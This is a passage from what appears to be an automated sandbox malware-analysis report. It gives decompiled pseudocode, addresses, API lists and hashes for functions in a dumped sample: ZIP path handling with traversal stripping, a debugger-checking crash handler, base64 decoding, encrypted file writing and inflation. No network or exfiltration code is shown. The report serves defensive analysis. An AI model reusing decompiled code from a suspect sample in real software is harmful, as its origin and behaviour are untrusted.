														goto L30;
													}
													L28:
													__eflags =  *((char*)(_t374 + 1)) - 0x3a;
													if( *((char*)(_t374 + 1)) == 0x3a) {
														_t374 = _t374 + 2;
														while(1) {
															_t192 =  *_t374;
															__eflags = _t192;
															if(_t192 == 0) {
																goto L30;
															}
															goto L28;
														}
													}
													L30:
													__eflags = _t192 - 0x5c;
													if(_t192 == 0x5c) {
														_t374 = _t374 + 1;
														while(1) {
															_t192 =  *_t374;
															__eflags = _t192;
															if(_t192 == 0) {
																goto L30;
															}
															goto L28;
														}
													}
													__eflags = _t192 - 0x2f;
													if(_t192 == 0x2f) {
														_t374 = _t374 + 1;
														while(1) {
															_t192 =  *_t374;
															__eflags = _t192;
															if(_t192 == 0) {
																goto L30;
															}
															goto L28;
														}
													}
													_t193 = L0042ABA2(_t374, "\\..\\");
													_t385 = _t385 + 8;
													__eflags = _t193;
													if(_t193 != 0) {
														_t64 = _t193 + 4; // 0x4
														_t374 = _t64;
														while(1) {
															_t192 =  *_t374;
															__eflags = _t192;
															if(_t192 == 0) {
																goto L30;
															}
															goto L28;
														}
													}
													_t194 = L0042ABA2(_t374, "\\../");
													_t385 = _t385 + 8;
													__eflags = _t194;
													if(_t194 != 0) {
														_t65 = _t194 + 4; // 0x4
														_t374 = _t65;
														while(1) {
															_t192 =  *_t374;
															__eflags = _t192;
															if(_t192 == 0) {
																goto L30;
															}
															goto L28;
														}
													}
													_t195 = L0042ABA2(_t374, "/../");
													_t385 = _t385 + 8;
													__eflags = _t195;
													if(_t195 != 0) {
														_t66 = _t195 + 4; // 0x4
														_t374 = _t66;
														while(1) {
															_t192 =  *_t374;
															__eflags = _t192;
															if(_t192 == 0) {
																goto L30;
															}
															goto L28;
														}
														goto L30;
													}
													_t196 = L0042ABA2(_t374, "/..\\");
													_t385 = _t385 + 8;
													__eflags = _t196;
													if(_t196 != 0) {
														_t67 = _t196 + 4; // 0x4
														_t374 = _t67;
														continue;
													}
													E0042A924(_t269 + 4, _t374, 0x104);
													_t198 = _v636;
													_v561 = _t198 >> 0x0000001e & 0x00000001;
													_t283 = _v688 >> 8;
													_t386 = _t385 + 0xc;
													_t342 =  !(_t198 >> 0x17) & 0x00000001;
													_v563 = 0;
													_v564 = 0;
													_v562 = 1;
													__eflags = _t283;
													if(_t283 == 0) {
														L46:
														_v563 = _t198 >> 0x00000001 & 0x00000001;
														_v564 = _t198 >> 0x00000002 & 0x00000001;
														_t342 = _t198 & 0x00000001;
														_t292 = _t198 >> 0x00000004 & 0x00000001;
														_t200 = _t198 >> 0x00000005 & 0x00000001;
													} else {
														__eflags = _t283 - 7;
														if(_t283 == 7) {
															goto L46;
														} else {
															__eflags = _t283 - 0xb;
															if(_t283 == 0xb) {
																goto L46;
															} else {
																__eflags = _t283 - 0xe;
																if(_t283 != 0xe) {
																	_t200 = _v562;
																	_t292 = _v561;
																} else {
																	goto L46;
																}
															}
														}
													}
													 *(_t269 + 0x108) = 0;
													__eflags = _t292;
													if(_t292 != 0) {
														 *(_t269 + 0x108) = 0x10;
													}
													__eflags = _t200;
													if(_t200 != 0) {
														_t81 = _t269 + 0x108;
														 *_t81 =  *(_t269 + 0x108) | 0x00000020;
														__eflags =  *_t81;
													}
													__eflags = _v563;
													if(_v563 != 0) {
														_t84 = _t269 + 0x108;
														 *_t84 =  *(_t269 + 0x108) | 0x00000002;
														__eflags =  *_t84;
													}
													__eflags = _t342;
													if(_t342 != 0) {
														_t86 = _t269 + 0x108;
														 *_t86 =  *(_t269 + 0x108) | 0x00000001;
														__eflags =  *_t86;
													}
													__eflags = _v564;
													if(_v564 != 0) {
														_t89 = _t269 + 0x108;
														 *_t89 =  *(_t269 + 0x108) | 0x00000004;
														__eflags =  *_t89;
													}
													 *((intOrPtr*)(_t269 + 0x124)) = _v664;
													 *((intOrPtr*)(_t269 + 0x128)) = _v660;
													_t202 = _v672;
													_t294 = _t202 >> 0x10;
													_v560.wYear = (_t294 >> 9) + 0x7bc;
													_v560.wMonth = _t294 >> 0x00000005 & 0x0000000f;
													_v560.wDay = _t294 & 0x0000001f;
													_v560.wHour = _t202 >> 0xb;
													_v560.wMinute = _t202 >> 0x00000005 & 0x0000003f;
													_v560.wSecond = (_t202 & 0x0000001f) + (_t202 & 0x0000001f);
													_v560.wMilliseconds = 0;
													SystemTimeToFileTime( &_v560,  &_v588);
													_v604.dwLowDateTime = _v588.dwLowDateTime;
													_v604.dwHighDateTime = _v588.dwHighDateTime;
													LocalFileTimeToFileTime( &_v604,  &_v596);
													_t210 = _v596.dwLowDateTime;
													_t300 = _v596.dwHighDateTime;
													_t376 = 0;
													__eflags = _v572 - 4;
													 *(_t269 + 0x10c) = _t210;
													 *(_t269 + 0x110) = _t300;
													 *(_t269 + 0x114) = _t210;
													 *(_t269 + 0x118) = _t300;
													 *(_t269 + 0x11c) = _t210;
													 *(_t269 + 0x120) = _t300;
													if(_v572 > 4) {
														while(1) {
															_v568 =  *(_t376 + _t378);
															_v567 =  *(_t376 + 1 + _t378);
															_v566 = 0;
															_v576 =  *(_t376 + _t378 + 2) & 0x000000ff;
															_t217 = L0042ABD0( &_v568, "UT");
															_t386 = _t386 + 8;
															__eflags = _t217;
															if(_t217 == 0) {
																break;
															}
															_t376 = _t376 + _v576 + 4;
															__eflags = _t376 + 4 - _v572;
															if(_t376 + 4 < _v572) {
																continue;
															} else {
															}
															goto L69;
														}
														_t218 =  *(_t376 + _t378 + 4) & 0x000000ff;
														_t376 = _t376 + 5;
														_v561 = _t218 >> 0x00000001 & 0x00000001;
														_v562 = _t218 >> 0x00000002 & 0x00000001;
														__eflags = _t218 & 0x00000001;
														if((_t218 & 0x00000001) != 0) {
															_t365 =  *(_t376 + 1 + _t378) & 0x000000ff;
															_t243 = ((( *(_t376 + _t378 + 3) & 0x000000ff) << 0x00000008 |  *(_t376 + _t378 + 2) & 0x000000ff) << 0x00000008 | _t365) << 0x00000008 |  *(_t376 + _t378) & 0x000000ff;
															asm("cdq");
															_t376 = _t376 + 4;
															__eflags = _t243 + 0xb6109100;
															asm("adc edx, 0x2");
															 *(_t269 + 0x11c) = L00438380(_t243 + 0xb6109100, _t365, 0x989680, 0);
															 *(_t269 + 0x120) = _t365;
														}
														__eflags = _v561;
														if(_v561 != 0) {
															_t364 =  *(_t376 + _t378) & 0x000000ff;
															_t234 = ((( *(_t376 + _t378 + 3) & 0x000000ff) << 0x00000008 |  *(_t376 + _t378 + 2) & 0x000000ff) << 0x00000008 |  *(_t376 + 1 + _t378) & 0x000000ff) << 0x00000008 | _t364;
															asm("cdq");
															_t376 = _t376 + 4;
															__eflags = _t234 + 0xb6109100;
															asm("adc edx, 0x2");
															 *(_t269 + 0x10c) = L00438380(_t234 + 0xb6109100, _t364, 0x989680, 0);
															 *(_t269 + 0x110) = _t364;
														}
														__eflags = _v562;
														if(_v562 != 0) {
															_t362 =  *(_t376 + _t378) & 0x000000ff;
															asm("cdq");
															__eflags = (((( *(_t376 + _t378 + 3) & 0x000000ff) << 0x00000008 |  *(_t376 + _t378 + 2) & 0x000000ff) << 0x00000008 |  *(_t376 + 1 + _t378) & 0x000000ff) << 0x00000008 | _t362) + 0xb6109100;
															asm("adc edx, 0x2");
															 *(_t269 + 0x114) = L00438380((((( *(_t376 + _t378 + 3) & 0x000000ff) << 0x00000008 |  *(_t376 + _t378 + 2) & 0x000000ff) << 0x00000008 |  *(_t376 + 1 + _t378) & 0x000000ff) << 0x00000008 | _t362) + 0xb6109100, _t362, 0x989680, 0);
															 *(_t269 + 0x118) = _t362;
														}
													}
													L69:
													__eflags = _t378;
													if(_t378 != 0) {
														_push(_t378);
														L0042ABB9();
														_t386 = _t386 + 4;
													}
													_t379 = _v580;
													L00429D20(_t379 + 8, _t269, 0x12c);
													 *((intOrPtr*)(_t379 + 0x134)) = _a4;
													__eflags = _v12 ^ _t380;
													return E00429B16(0, _t269, _v12 ^ _t380, _t379 + 8, _t376, _t379);
													goto L73;
												}
											} else {
												_push(_t378);
												L0042ABB9();
												goto L25;
											}
										}
									}
								} else {
									__eflags = _v12 ^ _t380;
									return E00429B16(0x700, _t268, _v12 ^ _t380,  &_v572, _t372, _t378);
								}
							} else {
								goto L8;
							}
						} else {
							if(_t178 == 0xffffffff) {
								L8:
								 *_t377 =  *((intOrPtr*)( *_t268 + 4));
								 *((char*)(_t377 + 4)) = 0;
								 *((intOrPtr*)(_t377 + 0x108)) = 0;
								 *((intOrPtr*)(_t377 + 0x10c)) = 0;
								 *((intOrPtr*)(_t377 + 0x110)) = 0;
								 *((intOrPtr*)(_t377 + 0x114)) = 0;
								 *((intOrPtr*)(_t377 + 0x118)) = 0;
								 *((intOrPtr*)(_t377 + 0x11c)) = 0;
								 *((intOrPtr*)(_t377 + 0x120)) = 0;
								 *((intOrPtr*)(_t377 + 0x124)) = 0;
								 *((intOrPtr*)(_t377 + 0x128)) = 0;
								__eflags = _v12 ^ _t380;
								return E00429B16(0, _t268, _v12 ^ _t380, _t333, _t371, _t377);
							} else {
								L00429D20(_t377,  &(_t268[2]), 0x12c);
								return E00429B16(0,  &(_t268[2]), _v12 ^ _t380, _t333, _t371, _t377);
							}
						}
					}
				}
				L73:
			}

0x00409290
0x00409299
0x004092a0
0x004092a3
0x004092a8
0x004092aa
0x004092ad
0x004092b3
0x004092bc
0x00409907
0x0040990c
0x0040991c
0x004092c2
0x004092c2
0x004092c7
0x00000000
0x004092cd
0x004092d1
0x004092d3
0x004092d8
0x004092d8
0x004092db
0x004092e8
0x00409316
0x00409319
0x00409370
0x00409372
0x00409375
0x00409377
0x0040937c
0x0040937c
0x0040937f
0x00409381
0x00409384
0x00409386
0x00409386
0x00409388
0x0040938a
0x0040938c
0x00409390
0x00409395
0x00409396
0x00409399
0x004093aa
0x004093ad
0x004093bc
0x004093c1
0x004093c6
0x004093c8
0x004093c8
0x004093c9
0x004093c9
0x00409399
0x00409390
0x004093cc
0x004093d1
0x004093d1
0x00409386
0x004093ed
0x004093f2
0x00409409
0x0040940e
0x00409411
0x00409413
0x0040942d
0x0040942f
0x00409431
0x00409434
0x0040945c
0x00000000
0x00409436
0x00409436
0x0040943a
0x00409494
0x0040949f
0x004094a9
0x0040943c
0x0040944e
0x0040945f
0x00409465
0x00409466
0x0040946b
0x00409470
0x00409473
0x00409476
0x0040947b
0x00409480
0x00409483
0x00409489
0x004094b7
0x004094cb
0x004094cd
0x004094d2
0x004094d5
0x004094e0
0x004094e0
0x004094e2
0x004094e4
0x00000000
0x00000000
0x004094e6
0x004094e6
0x004094ea
0x004094ec
0x004094e0
0x004094e0
0x004094e2
0x004094e4
0x00000000
0x00000000
0x00000000
0x004094e4
0x004094e0
0x004094f1
0x004094f1
0x004094f3
0x004094f5
0x004094e0
0x004094e0
0x004094e2
0x004094e4
0x00000000
0x00000000
0x00000000
0x004094e4
0x004094e0
0x004094f8
0x004094fa
0x004094fc
0x004094e0
0x004094e0
0x004094e2
0x004094e4
0x00000000
0x00000000
0x00000000
0x004094e4
0x004094e0
0x00409505
0x0040950a
0x0040950d
0x0040950f
0x00409511
0x00409511
0x004094e0
0x004094e0
0x004094e2
0x004094e4
0x00000000
0x00000000
0x00000000
0x004094e4
0x004094e0
0x0040951c
0x00409521
0x00409524
0x00409526
0x00409528
0x00409528
0x004094e0
0x004094e0
0x004094e2
0x004094e4
0x00000000
0x00000000
0x00000000
0x004094e4
0x004094e0
0x00409533
0x00409538
0x0040953b
0x0040953d
0x0040953f
0x0040953f
0x004094e0
0x004094e0
0x004094e2
0x004094e4
0x00000000
0x00000000
0x00000000
0x004094e4
0x00000000
0x004094e0
0x0040954a
0x0040954f
0x00409552
0x00409554
0x00409556
0x00409556
0x00000000
0x00409556
0x00409565
0x0040956a
0x0040957d
0x0040958b
0x0040958e
0x00409591
0x00409594
0x0040959b
0x004095a2
0x004095a9
0x004095ab
0x004095bc
0x004095c3
0x004095d1
0x004095e1
0x004095e4
0x004095e7
0x004095ad
0x004095ad
0x004095b0
0x00000000
0x004095b2
0x004095b2
0x004095b5
0x00000000
0x004095b7
0x004095b7
0x004095ba
0x004095eb
0x004095f1
0x00000000
0x00000000
0x00000000
0x004095ba
0x004095b5
0x004095b0
0x004095f7
0x00409601
0x00409603
0x00409605
0x00409605
0x0040960f
0x00409611
0x00409613
0x00409613
0x00409613
0x00409613
0x0040961a
0x00409621
0x00409623
0x00409623
0x00409623
0x00409623
0x0040962a
0x0040962c
0x0040962e
0x0040962e
0x0040962e
0x0040962e
0x00409635
0x0040963c
0x0040963e
0x0040963e
0x0040963e
0x0040963e
0x00409651
0x00409657
0x0040965d
0x00409665
0x00409677
0x00409689
0x00409690
0x004096a9
0x004096b8
0x004096bf
0x004096d0
0x004096d7
0x004096ef
0x004096fd
0x00409703
0x00409709
0x0040970f
0x00409715
0x00409717
0x0040971e
0x00409724
0x0040972a
0x00409730
0x00409736
0x0040973c
0x00409742
0x00409750
0x0040975c
0x0040976e
0x00409774
0x0040977b
0x00409781
0x00409786
0x00409789
0x0040978b
0x00000000
0x00000000
0x00409793
0x0040979a
0x004097a0
0x00000000
0x00000000
0x004097a2
0x00000000
0x004097a0
0x004097a7
0x004097bb
0x004097be
0x004097c4
0x004097ca
0x004097cc
0x004097d8
0x004097ee
0x004097f0
0x004097f3
0x004097f6
0x00409800
0x0040980f
0x00409815
0x00409815
0x0040981b
0x00409822
0x00409838
0x00409844
0x00409846
0x00409849
0x0040984c
0x00409856
0x00409865
0x0040986b
0x0040986b
0x00409871
0x00409878
0x0040988e
0x0040989c
0x0040989f
0x004098a9
0x004098b8
0x004098be
0x004098be
0x00409878
0x004098c4
0x004098c4
0x004098c6
0x004098c8
0x004098c9
0x004098ce
0x004098ce
0x004098d1
0x004098e1
0x004098ec
0x004098fa
0x00409904
0x00000000
0x00409904
0x0040948b
0x0040948b
0x0040948c
0x00000000
0x00409491
0x00409489
0x0040943a
0x00409415
0x00409420
0x0040942a
0x0040942a
0x00000000
0x00000000
0x00000000
0x004092ea
0x004092ed
0x0040931b
0x00409322
0x00409324
0x00409327
0x0040932d
0x00409333
0x00409339
0x0040933f
0x00409345
0x0040934b
0x00409351
0x00409357
0x00409363
0x0040936d
0x004092ef
0x004092f9
0x00409313
0x00409313
0x004092ed
0x004092e8
0x004092c7
0x00000000

APIs

_memmove.LIBCMT ref: 004092F9

Strings

\..\, xrefs: 004094FF
\../, xrefs: 00409516
/..\, xrefs: 00409544
/../, xrefs: 0040952D

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: /../$/..\$\../$\..\
API String ID: 4104443479-3885502717
Opcode ID: 3ad4b9223ae5cf044664611e3b514ea604b3a6ced24e33cbdceb5acbf1e1b899
Instruction ID: 0e41877e6645a1c241ad21e32c1aba0ebcced36b7c9ec2e66918bd499f853c57
Opcode Fuzzy Hash: 3ad4b9223ae5cf044664611e3b514ea604b3a6ced24e33cbdceb5acbf1e1b899
Instruction Fuzzy Hash: 08122B71A046149BCB24CF24DC857EAB7B1EF98304F0445FEE849AB382D778AE85CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00429B16 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00429B16(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x450664; // 0x30e242aa
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x451dc8 = _t6;
				 *0x451dc4 = _t22;
				 *0x451dc0 = _t25;
				 *0x451dbc = _t21;
				 *0x451db8 = _t27;
				 *0x451db4 = _t26;
				 *0x451de0 = ss;
				 *0x451dd4 = cs;
				 *0x451db0 = ds;
				 *0x451dac = es;
				 *0x451da8 = fs;
				 *0x451da4 = gs;
				asm("pushfd");
				_pop( *0x451dd8);
				 *0x451dcc =  *_t31;
				 *0x451dd0 = _v0;
				 *0x451ddc =  &_a4;
				 *0x451d18 = 0x10001;
				_t11 =  *0x451dd0; // 0x0
				 *0x451ccc = _t11;
				 *0x451cc0 = 0xc0000409;
				 *0x451cc4 = 1;
				_t12 =  *0x450664; // 0x30e242aa
				_v812 = _t12;
				_t13 =  *0x450668; // 0xcf1dbd55
				_v808 = _t13;
				 *0x451d10 = IsDebuggerPresent();
				_push(1);
				L00437CC5(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x4412b0);
				if( *0x451d10 == 0) {
					_push(1);
					L00437CC5(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00429b16
0x00429b16
0x00429b16
0x00429b16
0x00429b16
0x00429b16
0x00429b16
0x00429b1c
0x00429b1e
0x00429b1e
0x004301f5
0x004301fa
0x00430200
0x00430206
0x0043020c
0x00430212
0x00430218
0x0043021f
0x00430226
0x0043022d
0x00430234
0x0043023b
0x00430242
0x00430243
0x0043024c
0x00430254
0x0043025c
0x00430267
0x00430271
0x00430276
0x0043027b
0x00430285
0x0043028f
0x00430294
0x0043029a
0x0043029f
0x004302ab
0x004302b0
0x004302b2
0x004302ba
0x004302c5
0x004302d2
0x004302d4
0x004302d6
0x004302db
0x004302ef

APIs

IsDebuggerPresent.KERNEL32 ref: 004302A5
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004302BA
UnhandledExceptionFilter.KERNEL32(004412B0), ref: 004302C5
GetCurrentProcess.KERNEL32(C0000409), ref: 004302E1
TerminateProcess.KERNEL32(00000000), ref: 004302E8

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: d23cfcb5d128df970f909868942f336173ee8b5177108c12954dc1ce4a6d4a1a
Instruction ID: d83966c31be6b5e884c796d0e1dd1d491cd414c7b041cfda3dcd63dc75633031
Opcode Fuzzy Hash: d23cfcb5d128df970f909868942f336173ee8b5177108c12954dc1ce4a6d4a1a
Instruction Fuzzy Hash: 1521CBB8800304AFD741DF25FD44B983BB0BB88346F50556AE90A97372E7B4A989CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 00414930 Relevance: 6.0, APIs: 4, Instructions: 42
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00414930(DWORD* __eax, char* __ebx, void** __edi) {
				BYTE* _t5;
				int _t6;
				DWORD* _t12;
				int _t13;

				_t12 = __eax;
				 *__edi = 0;
				 *__eax = 0;
				if(CryptStringToBinaryA(__ebx, 0, 1, 0, __eax, 0, 0) == 0) {
					L4:
					return 0;
				}
				_t5 = LocalAlloc(0x40,  *_t12);
				 *__edi = _t5;
				if(_t5 == 0) {
					goto L4;
				}
				_t6 = CryptStringToBinaryA(__ebx, 0, 1, _t5, _t12, 0, 0);
				_t13 = _t6;
				if(_t13 != 0) {
					return _t6;
				} else {
					 *__edi = LocalFree( *__edi);
					return _t13;
				}
			}

0x00414935
0x0041493e
0x00414945
0x00414953
0x0041498c
0x00000000
0x0041498c
0x0041495a
0x00414960
0x00414964
0x00000000
0x00000000
0x00414971
0x00414977
0x0041497b
0x0041498f
0x0041497d
0x00414986
0x0041498b
0x0041498b

APIs

CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 0041494B
LocalAlloc.KERNEL32(00000040,00000000), ref: 0041495A
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00414971
LocalFree.KERNEL32 ref: 00414980

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 76f2f3d6b0934158192f74f0c0bb8012b5c88db0785934d0872a8aa7075e7fab
Instruction ID: 4e4ae1f677b8df0018081117d223a9ba11b430ceed43130376363e28b605b685
Opcode Fuzzy Hash: 76f2f3d6b0934158192f74f0c0bb8012b5c88db0785934d0872a8aa7075e7fab
Instruction Fuzzy Hash: D4F012B03903137BE7311F649C45F63BB98EF04BA2F200015FA44EA2C0E7B5D840CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00427B50 Relevance: 4.6, APIs: 3, Instructions: 132
fileCOMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E00427B50(void* __ecx, signed int _a4, long _a8) {
				signed char _v8;
				void* __edi;
				void* __esi;
				void* _t47;
				intOrPtr _t54;
				signed int _t56;
				void* _t65;
				void* _t74;
				void* _t76;
				signed char _t80;
				signed char _t85;
				unsigned int _t89;
				void* _t94;
				long _t102;
				unsigned int _t107;
				void* _t110;
				void* _t115;

				_push(__ecx);
				_t68 = _a4;
				_t110 = __ecx;
				_t102 = _a8;
				_t47 = _a4;
				if( *((char*)(__ecx + 0x2d)) == 0) {
					L10:
					_t95 =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t76 =  *(_t110 + 4);
						__eflags = _t76;
						if(_t76 == 0) {
							 *((intOrPtr*)(_t110 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						} else {
							WriteFile(_t76, _t47, _t102,  &_a8, 0);
							return _a8;
						}
					} else {
						_t77 =  *(_t110 + 0x24);
						if( *(_t110 + 0x24) + _t102 <  *((intOrPtr*)(_t110 + 0x28))) {
							L00429D20(_t77 + _t95, _t47, _t102);
							_t41 = _t110 + 0x24;
							 *_t41 =  *(_t110 + 0x24) + _t102;
							__eflags =  *_t41;
							return _t102;
						} else {
							 *((intOrPtr*)(_t110 + 0x14)) = 0x30000;
							return 0;
						}
					}
				} else {
					_t54 =  *((intOrPtr*)(__ecx + 0x3c));
					if(_t54 != 0 &&  *((intOrPtr*)(__ecx + 0x40)) < _t102) {
						_push(_t54);
						E00429B0B();
						_t115 = _t115 + 4;
						 *(_t110 + 0x3c) = 0;
					}
					_t120 =  *(_t110 + 0x3c);
					if( *(_t110 + 0x3c) == 0) {
						_push(_t102 + _t102);
						_t65 = E0042A7D1(_t94, _t102, _t110, _t120);
						_t115 = _t115 + 4;
						 *(_t110 + 0x3c) = _t65;
						 *(_t110 + 0x40) = _t102;
					}
					L00429D20( *(_t110 + 0x3c), _t68, _t102);
					_t115 = _t115 + 0xc;
					_t74 = 0;
					if(_t102 == 0) {
						L9:
						_t47 =  *(_t110 + 0x3c);
						goto L10;
					} else {
						do {
							_t80 =  *((intOrPtr*)(_t74 +  *(_t110 + 0x3c)));
							_t107 =  *(_t110 + 0x30);
							_a4 = _t80;
							_v8 =  *(0x4487d8 + ((_t80 ^ _t107) & 0x000000ff) * 4);
							_t56 =  *(_t110 + 0x38);
							_v8 = _v8 ^ _t107 >> 0x00000008;
							_t85 = _v8;
							 *(_t110 + 0x30) = _t85;
							_t89 = 1 + ((_t85 & 0x000000ff) +  *(_t110 + 0x34)) * 0x8088405;
							 *(_t110 + 0x34) = _t89;
							 *(_t110 + 0x38) = _t56 >> 0x00000008 ^  *(0x4487d8 + ((_t89 >> 0x00000018 ^ _t56) & 0x000000ff) * 4);
							_t74 = _t74 + 1;
							 *(_t74 +  *(_t110 + 0x3c) - 1) = ((_t56 & 0x0000fffd | 0x00000002) ^ 0x00000001) * (_t56 & 0x0000fffd | 0x00000002) >> 0x00000008 ^ _a4;
						} while (_t74 < _a8);
						_t102 = _a8;
						goto L9;
					}
				}
			}

0x00427b53
0x00427b55
0x00427b59
0x00427b60
0x00427b63
0x00427b65
0x00427c3b
0x00427c3b
0x00427c40
0x00427c7a
0x00427c7d
0x00427c7f
0x00427c9d
0x00427ca5
0x00427cab
0x00427c81
0x00427c8a
0x00427c99
0x00427c99
0x00427c42
0x00427c42
0x00427c4b
0x00427c64
0x00427c6c
0x00427c6c
0x00427c6c
0x00427c77
0x00427c4d
0x00427c4e
0x00427c5c
0x00427c5c
0x00427c4b
0x00427b6b
0x00427b6b
0x00427b70
0x00427b77
0x00427b78
0x00427b7d
0x00427b80
0x00427b80
0x00427b87
0x00427b8b
0x00427b90
0x00427b91
0x00427b96
0x00427b99
0x00427b9c
0x00427b9c
0x00427ba5
0x00427baa
0x00427bad
0x00427bb1
0x00427c38
0x00427c38
0x00000000
0x00427bb7
0x00427bb7
0x00427bba
0x00427bbd
0x00427bc0
0x00427bd5
0x00427bd8
0x00427bde
0x00427be1
0x00427be4
0x00427bf5
0x00427bf6
0x00427c14
0x00427c2b
0x00427c2c
0x00427c30
0x00427c35
0x00000000
0x00427c35
0x00427bb1

APIs

_memmove.LIBCMT ref: 00427BA5
_memmove.LIBCMT ref: 00427C64
WriteFile.KERNEL32(00000000,?,?,?,00000000,00140B17,?,?,?,?,00426C55,?,00000001,?,?,0042879A), ref: 00427C8A

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memmove$FileWrite
String ID:
API String ID: 726942401-0
Opcode ID: 1bb17d045802a11042109d20e4d3af584856d1f9ec2839f014265d27e5a8103b
Instruction ID: 7b106e3041e0fa4c1e152a4c59637bfcd25f90c3d9f77d453809ed1ad7aa8c29
Opcode Fuzzy Hash: 1bb17d045802a11042109d20e4d3af584856d1f9ec2839f014265d27e5a8103b
Instruction Fuzzy Hash: D341DF717047149BC728DF2AE980A67F7E9FB85310F94852FE88687B01D639F904CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004062E0 Relevance: 2.3, APIs: 1, Instructions: 789
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E004062E0(unsigned int* __eax, signed int* __ecx, unsigned int _a4) {
				unsigned int _v8;
				unsigned int _v12;
				unsigned int _v16;
				unsigned int _v20;
				unsigned int _v24;
				unsigned int _v28;
				unsigned int _v32;
				unsigned int _v36;
				unsigned int _v40;
				unsigned int _v44;
				unsigned int _v48;
				unsigned int _t399;
				unsigned int* _t405;
				intOrPtr _t408;
				unsigned int _t410;
				signed int _t411;
				unsigned int _t423;
				unsigned int _t424;
				signed int _t434;
				signed int* _t438;

				_t405 = __eax;
				_t438 = __ecx;
				_t423 =  *((intOrPtr*)(__ecx + 0x34));
				_v16 =  *((intOrPtr*)(__eax + 4));
				_t408 =  *((intOrPtr*)(__ecx + 0x30));
				_v12 =  *((intOrPtr*)(__eax));
				_t399 =  *(__ecx + 0x20);
				_t434 =  *(__ecx + 0x1c);
				_v8 = _t399;
				_v20 = _t423;
				if(_t423 >= _t408) {
					_t410 =  *((intOrPtr*)(__ecx + 0x2c)) - _t423;
					_t424 = 1;
				} else {
					_t424 = 1;
					_t410 = _t408 - _t423 - 1;
				}
				_v28 = _t410;
				_t411 =  *_t438;
				if(_t411 > 9) {
					L96:
					_push(0xfffffffe);
					goto L97;
				} else {
					do {
						switch( *((intOrPtr*)(_t411 * 4 +  &M00406C54))) {
							case 0:
								if(_t434 >= 3) {
									L8:
									_t416 = _t399 & 0x00000007;
									_t417 = _t416 >> 1;
									_t438[6] = _t416 & 0x00000001;
